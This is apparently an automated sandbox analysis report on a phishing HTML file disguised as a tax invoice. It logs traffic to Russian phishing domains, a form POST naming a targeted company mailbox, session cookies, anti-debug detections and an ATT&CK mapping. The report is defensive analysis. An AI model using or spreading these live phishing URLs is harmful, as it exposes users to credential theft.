laravel_session=eyJpdiI6IjE4dXNLcWphMEExamFLcHg0V1JZWkE9PSIsInZhbHVlIjoicHJMOEY3OGxTNThOWTJYUk5Eb0Z5bFhkdzVaVjlWNVY5MjJNdkp2cFJPZUhKNGxEak5ibmhocnVtVktHWlBwb1lYbk9Ub1Y4Z3RXUE8yK0J6WktuM2diZm85bUoxRjh1SzZrZzdicWdiUEtneHEybGxsR3NoZXJBSzdMMC9CNXIiLCJtYWMiOiI1OGYwY2ExMGMzNDRjZmZlZDNiYjEyM2YwZmIyNTQ4NzAxYzI0MzQ5NGQzNTU0MzRlOTFiMmE1OGQxNjIzYjZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://2y.osejonco.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xzixperwoaagkfhySzSMtSXBULHTQORQTYSYJGZTNKWKJFKCVCErsHLpnC5kyeeeVuM73413Kwiuv40 HTTP/1.1Host: 7iipqbgvz5tozdgx6cu2kamnti8r4aq60rn8w7nxi2ivkj9vvcz1rfzt.erisxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: 2y.osejonco.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 9k1f.szsnqp.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: 7iipqbgvz5tozdgx6cu2kamnti8r4aq60rn8w7nxi2ivkj9vvcz1rfzt.erisxw.es

Source: unknown

HTTP traffic detected: POST /hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveContent-Length: 773sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH1pNSRtb33xlDQBpsec-ch-ua-mobile: ?0Accept: */*Origin: https://2y.osejonco.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.auAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IitVa3dYNkVJNlgwVWdxVUhlTjlYbXc9PSIsInZhbHVlIjoidlV6OGFkOXNmZUl1NjhGSUZiUUZ2R2p0d2FyT2d6d043YUp5d0JyNVcwaXo3YUM1THFxWW1pcjRLd0sxdUJFMDZTYWZTd2MrOW56RE1qcGM2V3VVVkVlSFUwekNScmVTNFViamtFdXBUd29tb0NGaUZqMURJOU5RQnI5YUU2a3IiLCJtYWMiOiIzM2RkYzk1ZDNhZjhjZjU2MWRkZWM2ZmFiYzVhYjZlY2MwNjU3NzYwMTgxNTZjMzEzNmFiZWFlMjY3ZDAwODVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllDT213YkREOVU0OFRhdlZtVllGcmc9PSIsInZhbHVlIjoib3RmK052d3MycXpuZ1pGUVJVOWRrWmNKamhtZ096QXF2WHEzYXdzQmdXMW9yUTVXMXhBL0pUNDVqV3QwU1ZNVVB4VWprNkpIcXVVVnhZaWJFZkVxS3o1Q3d3c2JucnhhOHJZY3VrUW1scVRFTkxvdFdxNWJNOW5TVHhTeTVQNlciLCJtYWMiOiIyMzRlNGY4NzVkYjI0NDRlNDE3NjI2NDVjYWE4NTRhMGQwMGZmODIxMGZkODYzMjUxYzY4Zjg5ZjMwZjYyNjg3IiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 16 Mar 2025 23:37:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sE1qY0wPlVXzMT%2F5CY7KZIAs9Z3cU2lS6XH9cgFkrLQxipGmBw7Gae%2Foy%2BWijWRgW2xScTyl3ThPlEFb4GRm%2FSPBo%2FZACd7KipOuNq4YBP1MbTE6637bp9cLo9dcSCk4ZGu%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=16278&min_rtt=16262&rtt_var=4602&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2058&delivery_rate=247551&cwnd=251&unsent_bytes=0&cid=8a92828b874aab2e&ts=185&x=0"Server: cloudflareCF-RAY: 921814d0fc0f7d20-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1834&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1719&delivery_rate=1479979&cwnd=184&unsent_bytes=0&cid=2d8db41f13006d79&ts=453&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 16 Mar 2025 23:37:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HnjIl4wTdp3oNSWpIR5VBgnpAJXpqEcK87TG0IuqngVOVUS%2FwSk4l1NI7a7V4kUH0TY0gMMMD5tQsWlfUL3uwe4mg2fHtS%2BL1YL%2FErm4PCT8xItyp5Ud7%2B3fnrJ6wEakZFb%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=327&min_rtt=322&rtt_var=100&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2268&delivery_rate=11264623&cwnd=252&unsent_bytes=0&cid=d2cacef53b26a633&ts=321&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 921814d77c3827c6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=2023&rtt_var=766&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1930&delivery_rate=1422308&cwnd=163&unsent_bytes=0&cid=4f83c521abbbf3d6&ts=582&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 16 Mar 2025 23:37:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6NWC%2FVMQbOi7rpuIhxwpfvYsrLD99wZzTyEkXwEzdUCZsNKKR5eOEZI86G1EJ6akzI%2BrmbclyHBDCEAVWYfyJnP6aiHyV4utgAoRdcq%2B%2Fx%2B9yYPIPD4Rg%2BXlZkL22BAZWBjF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=16486&min_rtt=16450&rtt_var=4689&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2062&delivery_rate=243497&cwnd=252&unsent_bytes=0&cid=86dd2c1e62360dbc&ts=188&x=0"Server: cloudflareCF-RAY: 921814dd1e130fa3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1479&rtt_var=579&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1723&delivery_rate=1852791&cwnd=195&unsent_bytes=0&cid=3ae39899a463de26&ts=399&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 16 Mar 2025 23:38:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qulOi27D6rfBgBE2%2F5HO5i9pQBZvNPWyseGtKAf6QAa43YzDRzQchBtiQpbc9tWHdguQmmv1UnmEJJjLRm%2FaC2n%2FLH0e9sa1vblYGb2EBhspkHwwPwBqRpR7CYdDyekO1Fbl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=18718&min_rtt=18711&rtt_var=5266&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2057&delivery_rate=216048&cwnd=252&unsent_bytes=0&cid=4c9323913ef5b0ff&ts=185&x=0"Server: cloudflareCF-RAY: 921814f5486572b1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1836&min_rtt=1831&rtt_var=696&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1718&delivery_rate=1560662&cwnd=180&unsent_bytes=0&cid=46e19f21b04abb88&ts=411&x=0"

Source: chromecache_97.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_97.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_72.1.dr	String found in binary or memory: https://www.amazon.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.84.165:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.165:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.165:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.195.61:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49792 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: 41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html

Initial sample: invoice

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6580_1483137262

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6580_1483137262

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winHTML@20/78@40/18

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2028,i,78514064142117862,2226419077680103547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2028,i,78514064142117862,2226419077680103547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au

HTTP Parser: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://9k1f.szsnqp.ru/chai!aujobu	0%	Avira URL Cloud	safe
https://2y.osejonco.ru/GDSherpa-regular.woff2	100%	Avira URL Cloud	malware
https://2y.osejonco.ru/wxbNKRcHVCXKWWRT7M8NqnmjopxHCiJhJtlMUAvB5CdgkudYxaejab180	100%	Avira URL Cloud	malware
